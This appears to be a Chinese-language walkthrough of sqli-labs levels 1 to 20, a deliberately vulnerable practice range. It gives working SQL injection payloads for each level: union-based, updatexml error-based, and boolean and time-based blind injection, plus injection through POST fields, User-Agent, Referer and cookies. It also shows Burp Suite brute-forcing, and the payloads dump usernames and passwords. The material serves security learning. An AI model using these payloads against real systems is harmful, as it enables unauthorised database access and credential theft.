Less-1
1.访问靶场网站进入第一关
2.判断sql注入类型
在网站地址后拼接?id=1’ and 1=1 --+,发现访问正常
拼接?id=1’ and 1=2--+ 错误因此判断为字符型
3.字段数判断
接下来判断表中字段有多少列,这里利用order by函数来对表的字段进行判断,当字段值符合时会输出正确的页面信息,反之则会报错
在网站后拼接
?id=1' order by 4 --+
发现页面报错,则表中字段列数低于4
拼接
?id=1' order by 3 --+
返回页面正确,则字段列数为3
4.确定回显位置
这里利用联合查询union select来对页面上信息回显位置进行判断
在代码后拼接判断语句,这里注意联合查询语句后的参数对应表中字段的列数,同时将id=1改为-1,来去掉返回的数据库中的内容,从而可以利用语句中的参数判断页面回显位置
?id=-1' union select 1,2,3 --+
从而可以判断语句中2,3的位置为页面信息回显位置
5.数据库内容查询
那么现在我们利用语句中2,3的位置对数据库中的内容进行查询,原理是根据SQL语句的原理,对网页地址进行拼接,使我们写入的语句可以被正常执行
1.数据库查询
在网页后拼接该语句可以查看当前使用的数据库
?id=-1' union select 1,database(),3 --+
2.数据表查询
在获取到数据库后,我们便可以对数据库中的数据表进行查询,这里用到group_concat函数可以对查询的结果进行拼接,这里需要介绍两个数据库表,可以利用这两个表来进行数据库表名,以及字段信息的查询
columns表,表中包含主要的三列,分别为数据库名,表名,字段名
tables表,其中主要的两列,分别为数据库名,数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
可以看到将数据库中的表都回显到了3的位置,如果不是用group_ concat函数则只能数据库中地一个表的信息,如图
3.数据库字段信息查询
在获取到表名之后,我们就可以对数据表进行操作,获取表中字段的信息,在这里我们换取user表中的信息
在网站地址后拼接该代码
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'--+
由此我们获取到了数据表中有哪些字段名称
4.数据表内容查询
在获取到表中的字段后,我们可以对表中的内容进行查询,使用sql语句中的查询语句即可以及使用group_concat进行整合
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
Less-2
1.进行注入类型判断
通过在网页地址后拼接
?id=1 and 1=2 --+ //错误
?id=1 and 1=1 --+ //正确
可以判断该网页为数字型注入
2.依旧进行字段数判断
拼接下面语句在网站后,可以判断数据库字段有三列
?id=1 order by 4 --+ //错误
?id=1 order by 3 --+ //正常
3.确定回显位置
在网站地址后拼接以下内容
?id=-1 union select 1,2,3
4.数据库内容查询
数据库查询
拼接以下内容,可以判断数据库名字
?id=-1 union select 1,database(),3 --+
数据表查询
拼接以下内容,判断数据表名字
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
数据表字段查询(user表)
拼接以下内容,获取表中字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' -- +
数据表内容查询
?id=-1 union select 1,2,group_concat(id,'~',username ,'~', password) from users --+
Less-3
判断注入符号
通过拼接?id=1'''返回的报错信息我们可以判断这一关的注入符号为')
类型判断完成后,剩余的步骤和前两个相同依旧先进行字段数判断
字段数判断
?id=1') order by 3--+
回显位置判断
依旧用-1注释掉本来的内容
?id=-1') union select 1,2,3--+
数据库内容查询
库名
?id=-1') union select 1,database(),3--+
表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
数据表内容
union select 1,2,group_concat(id,'~',username ,'~', password) from users --+
Less-4
注入符号判断
?id=1'"""""
通过报错信息可以判断这关的注入符号为")
字段数判断
?id=1") order by 3--+
回显位置判断
?id=-1") union select 1,2,3--+
库名获取
?id=-1") union select 1,database(),3--+
表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
数据表内容
?id=-1") union select 1,2,group_concat(id,'~',username ,'~', password) from users --+
Less-5
注入类型判断
?id=1' --+
根据页面回显结果判断,虽然为字符型但是页面上没有回显信息,因此我们这关使用报错注入
需要用到updatexml('1',concat(1,'2'),'3') 函数其中concat函数中2的部位可以写入完整的sql语句来进行查询
数据库判断
?id=1' and updatexml(1,concat(1,(select database())),3) --+
数据表查询
?id=1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3) --+
数据表列字段名
?id=1' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3) --+
数据表内容查询
注意报错注入的返回内容有字符限制为32个字符,若要获取全部的数据可以使用limit函数进行单个查询
?id=1' and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),3) --+
Less-6
判断拼接方式
在网址后拼接
?id=1"
发现页面报错,所以可以判断凭借符号是“
可以发现返回的报错的信息中是SQL数据库的报错信息,因此可以使用报错注入来进行SQL注入
获取数据库
网址后拼接
?id=1" and updatexml(1,concat(1,database()),1) --+
获取当前使用的数据库名字

判断数据表名
网址后拼接
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
获取数据库表名
获取数据库列名
网址后拼接
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
获取到数据库列名
获取数据库内容
可以使用group_concat函数来获取全部的字段信息,但是由于报错注入的返回字符数有32个字符的限制因此也可以使用limit函数来进行单个信息的获取
?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),3) --+ //全部
?id=1" and updatexml(1,concat(1,(select username from users limit 0,1)),3) --+//单个信息的获取,这里以用户名为例,获取到第一个用户名的内容
Less-7
判断需要使用的注入方式
当我们在网址后拼接
?id=1 --+
?id=1' --+
发现页面不会回显信息以及sql的报错信息
因此这里我们选择使用布尔盲注
判断闭合符号
?id=1')) and 1=1 --+
判断出相应符号位'))
判断数据库名
首先进行长度判断
?id=1')) and length((select database()))>7 --+ //页面正常
?id=1')) and length((select database()))>8 --+ //页面报错
因此数据库名长度位8位
判断数据库名字
?id=1')) and substr((select database()),1,1)='匹配的字符'--+
这里需要用到substr函数,函数有三个参数第一个为要截取的字符,第二个为截取开始的地方,第三个为截取几个字符,在这里我们只能一个字符一个字符的去碰撞,例如
?id=1')) and substr((select database()),1,1)='s'--+
当我们拼接这段语句时页面返回正确的信息,因此我们判断第一个字母为s
以此类推获得数据库的名字为security
表名获取
和爆破数据库名类似
?id=1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)= 'e'--+
使用这个需要注意的是表名之间存在逗号,不好对逗号的位置进行判别,因此我们不再使用聚合函数,使用limit对函数字段进行选择
?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)= 'e'--+
使用limit选择第一个表,然后使用substr对函数字符进行判断,获取第一个表的表名为emails,以此类推获取所有的表名
列名获取
?id=1')) and substr((select column_name from information_schema.columns where table_schema='security' and table_name= 'users' limit 0,1),1,1)= 'i'--+
获取第一个字段的第一个字母为i,以此获得所有的列名为id,username,password
表内容获取
?id=1')) and substr((select username from users limit 0,1),1,1)= 'd'--+
获得第一个字段中,第一个字母为d,以此类推可以获得所有的表中的内容
Less-8
依旧通过id=1’判断这关没有任何回显信息,因此我们依旧使用盲注,不同的是这关在返回错误信息和正确信息时的返回长度不同所以我们可以使用抓包工具来进行爆破
判断闭合符号
由id=1'判断这一关的闭合符号为'
获取数据库名
这里我们使用抓包工具来代替繁琐的手工注入,以burp suite为例,点击代理
点击拦截,并打开拦截
拼接并访问该网站,获取到抓包信息后点击
在下方详细信息栏右键并点击发送到intruder跳转到爆破界面,点击添加payload在指定的位置
编辑要输入的爆破信息,注意需要编辑两个payload位置,第一个位字符位置
第二个为字符的内容,这里判断需要将大小写字母和数字都加进去,因为数据库命名时,大小字母和数字都会有
注意选择集束炸弹的爆破模式,因为这里我们是对两个位置进行爆破,也就是图上对应的模式
点击开始爆破
在这个界面我们选择按照长度排序,因为正确页面的返回响应长度比较短,因此我们可以获得数据库的名字为’security‘
获取表名
表名同理只需要对爆破语句做一些修改
?id=1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)= 'e'--+
拼接后进行抓包,payload添加的文字,这里注意在添加第二个位置的爆破内容时将","逗号添加进去,因为group_concat函数会将内容用逗号拼接
结果如图,依旧按上述排序方式,获取表名
列名获取
步骤同上只需注意拼接语句以及payload的位置即可
?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name= 'users' ),1,1)= 'i'--+
其他同上
内容获取
注意payload添加的位置,同时注意修改username字段位置内容来获取别的字段的信息
?id=1' and substr((select username from users limit 0,1),1,1)= 'd'--+
Less-9
这一关我们可以看到无论我们使用id=1还是id=-1页面的回显结果都是一样的,此时我们无法在根据页面内容进行判断,因此这里我们选择时间盲注
这里我们需要用到俩个函数sleep延迟函数和if判断函数
注入判断
这里我们需要判断是否存在时间盲注
?id=1' and if(1=1,sleep(3),1)--+
使用该语句,if语句中第一个字段为判断条件,第二个字段为判断为真时所执行的函数,第三个字段为判断为假时执行的函数,拼接该语句后发现存在时间延迟,修改判定条件,发现没有时间延迟,延迟我们使用时间盲注
库名判断
首先我们判断长度,可以判断长度为8
?id=1' and if(length(database())=8,sleep(4),1)--+
接下来对内容进行判断,拼接后根据响应时间判断是否为该字母
?id=1' and if(substr(database(),1,1)='s',sleep(4),1)--+
可以发现响应时间为4所以第一个字母是s,以此类推得到数据库名为security
判断表名
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)--+
这段语句的含义是判断数据库中第一个表的第一个字段是否为e,是则延时不是则不延时,需要查看其他表时修改limit的第一个参数0的位置,例如修改为1时是第二个表,修改表字符的位置时需要修改substr函数中的第二个字段的数字如1查找的就是第一个字符的位置,2就是查找的第二个字符的位置
判断列名
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='I',sleep(4),1)--+
这段语句的含义和上一段差不多,在拼接后判断users表中的第一个列名的首字母是否为i是则延时不是则不掩饰,判断其他列同理修改limit与substr函数的第二个字段位置的值
判断表内容
?id=1' and if(substr((select username from users limit 0,1),1,1)='d',sleep(2),1)--+
拼接字段含义为判断username列的第一个字段的第一个字符是否为d,是则延时,不是则立即响应
查看其他列只需要修改查询的列的名字,即username所在的位置的值,以及limit和substr函数的第二个字段位置的值,同上。
Less-10
第十关和第九关所用到的注入一样,只需修改闭合符号即可以下是对应的判断语句
?id=1" and sleep(3) --+ //判断闭合符号为"双引号
?id=1"and if(length(database())=8,sleep(4),1)--+ //判断数据库长度
?id=1" and if(substr(database(),1,1)='s',sleep(4),1)--+ //判断数据库字段
?id=1" and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)--+// 判断数据库表名
?id=1" and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='I',sleep(4),1)--+ //判断数据库列名
?id=1" and if(substr((select username from users limit 0,1),1,1)='d',sleep(2),1)--+//判断数据库内容
其他判断位置以及字母的修改形式同第九关
Less-11
本关为POST型这里可以借用bp抓包来进行注入
抓包操作
因为我们目前不知道用户名和密码,因此我们随便输入一个用户名和密码
然后打开抓包软件进行抓包,然后右键抓包内容发送到重放器
点击重放器,在这里我们可以进行我们post类型的SQL注入了。在这个语句中我们尝试注入,尝试在uname进行注入。
闭合符号判断
根据报错信息显示,闭合符号为单引号
列数判断
使用order by进行拼接判断列数,3的时候报错,2的时候正常,因此我们可以判断列数为2
接下来使用联合注入即可,和第一关一样,只不过这里需要注意的是联合注入时数据库只有两列,所以注入时select后的参数也只有两个
获取库名
uname=-admin' union select 1,database()--+&passwd=123&submit=Submit
获取表名
uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=123&submit=Submit
获取列名
这里依旧users表
uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'--+&passwd=123&submit=Submit
获取表中数据
uname=-admin' union select 1,group_concat(username ,id , password) from users--+&passwd=123&submit=Submit
Less-12
本关和11关相比只有闭合符号不同,根据报错信息判断,闭合符号为”
其余部分和十一关一样
uname=-admin" union select 1,database()--+&passwd=123&submit=Submit //库名
uname=-admin" union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=123&submit=Submit //表名
uname=-admin" union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'--+&passwd=123&submit=Submit //列名
uname=-admin" union select 1,group_concat(username ,id , password) from users--+&passwd=123&submit=Submit //表中数据
Less-13
闭合判断
首先我们判断闭合,根据报错信息来看闭合符号为:')
列数判断
根据页面回响信息,判断列数为2,但是当页面正常是没有回显信息,因此这关我们使用报错注入,注入方式和之前一样不过是post注入,因此依旧需要抓包
uname=admin') order by 3--+&passwd=aaaa&submit=Submit
库名
uname=admin') and updatexml(1,concat(1,database()),3)--+&passwd=aaaa&submit=Submit
表名
uname=admin') and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3)--+&passwd=aaaa&submit=Submit
列名
uname=admin') and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3)--+&passwd=aaaa&submit=Submit
表中数据
uname=admin') and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),3)--+&passwd=aaaa&submit=Submit
Less-14
本关依旧是报错注入和上一关类似,只不过闭合符号变了,闭合符号为:”
uname=admin" and updatexml(1,concat(1,database()),3)--+&passwd=aaaa&submit=Submit //库名
uname=admin" and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3)--+&passwd=aaaa&submit=Submit//表名
uname=admin" and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3)--+&passwd=aaaa&submit=Submit//列名
uname=admin" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),3)--+&passwd=aaaa&submit=Submit//表数据
Less-15
这一关没有回显信息,因此我们只能根据页面图片的内容来进行布尔盲注
闭合判断
在我们不知道用户名的情况下我们可以使用or 1=1来判断闭合,单引号时页面图片为success因此闭合符号为单引号
库名判断
首先我们来判断长度,因此我们可以判断数据库名字长度为
uname=admn'or length((select database()))>8--+&passwd=aaa&submit=Submit //错误
uname=admn'or length((select database()))>7--+&passwd=aaa&submit=Submit//成功
判断库名
利用下面的语句,判断出第一个字母为s,以此类推判断出表名security
uname=admn'or substr((select database()),1,1)='s'--+&passwd=aaa&submit=Submit
判断表名
uname=admn'or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)= 'e'--+&passwd=aaa&submit=Submit
判断出第一个表名的第一个字母为e,接下来只需按照第八关修改limit和subetr的参数即可将所有的表名给查找出来
判断列名
根据图片,判断出第一列的列名的第一个字母位i,以此类推可以判断出所有的列名
uname=admn'or substr((select column_name from information_schema.columns where table_schema='security' and table_name= 'users' limit 0,1),1,1)= 'i'--+&passwd=aaa&submit=Submit
判断数据表内容
可以判断出第一列的第一个字段的第一个字母是d,以此类推即可得到全部的内容
uname=admn'or substr((select username from users limit 0,1),1,1)= 'd'--+&passwd=aaa&submit=Submit
Less-16
和第十五关一样只是闭合符号不同
uname=admn'or substr((select database()),1,1)='s'--+&passwd=aaa&submit=Submit //库名
uname=admn'or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)= 'e'--+&passwd=aaa&submit=Submit //表名
uname=admn'or substr((select column_name from information_schema.columns where table_schema='security' and table_name= 'users' limit 0,1),1,1)= 'i'--+&passwd=aaa&submit=Submit //列名
uname=admn'or substr((select username from users limit 0,1),1,1)= 'd'--+&passwd=aaa&submit=Submit //数据表内容
Less-17
本关当我们尝试在uname字段后进行闭合时,可以发现页面内容如下,我们的注入被发现了
因此我们尝试在passwd后进行闭合,发现可以成功闭合,同时我们发现闭合符号为单引号,并且可以看到sql语句的报错,所以我们在这里使用报错注入
这里我们只需在passwd的字段进行注入即可,剩余步骤和Less-13类似
注意进入当本关我们可以发现这一关是更新用户密码,MySQL不支持更新和查询在一张表上,所以我们在爆表里的内容是用其他表来代替,这里我们拿emails表来进行爆破表中的内容,以下是具体的语句
uname=admin&passwd=1' and updatexml(1,concat(1,database()),1)#&submit=Submit //库名
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3)--+&submit=Submit//表名
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3)--+&submit=Submit//列名
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(id)from emails)),3)--+&submit=Submit//因为这里无法from users表所以我们查emails表数据
Less-18
这关当我们登陆失败时没有任何信息,当登录成功时会显示和User-Agent内容一样的东西,因此这一关我们尝试UA注入
判断闭合符号
我们尝试使用单引号来进行闭合,发现存在注入,这里我们使用报错注入
库名
' and updatexml(1,concat(1,(database())),1) and '
表名
1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3) and ' 1=1
列名
1' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3) and ' 1=1
表内容
这里使用group_concat输出了前32位,若要查询全部内容,可以参考前面的报错注入使用limit函数
1' and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),3) and ' 1=1
Less-19
这关和18关类似不过这一关是Referer注入,依旧需要我们正确登录,账号密码可以使用在前几关爆破出来的账号密码,需要我们在referer后进行注入
注入方式和上一关一样,直接复制上一关语句到referer后即可
Less-20
当我们登录成功时,页面如下,我们可以判断这关为cookie注入
闭合符号判断
根据报错信息可以判断闭合符号位单引号
库名
在将下面的语句在admin后进行拼接
'and updatexml(1,concat(1,database()),1) --+
其他
' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3) --+ //表名
' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3) --+ //列名
' and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),3) --+ //表中数据